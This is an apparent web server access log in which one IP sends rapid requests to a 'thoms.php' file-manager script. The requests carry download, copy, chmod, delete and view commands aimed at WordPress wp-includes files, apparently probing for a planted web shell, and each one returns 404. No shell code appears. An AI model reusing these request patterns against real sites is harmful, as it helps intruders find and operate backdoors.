45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-smtp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-smtp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?del=load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=theme.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?dl=template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?chmod=media-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?del=media-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fuser.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fuser.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?del=default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:17 -0400] "GET /thoms.php?dl=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?chmod=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?chmod=session.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?del=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?del=Requests&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Requests&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?del=json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?chmod=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?del=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fconnectors.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fconnectors.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?dl=error_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttps-detection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhttps-detection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?dl=locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?dl=session.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=session.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:19 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
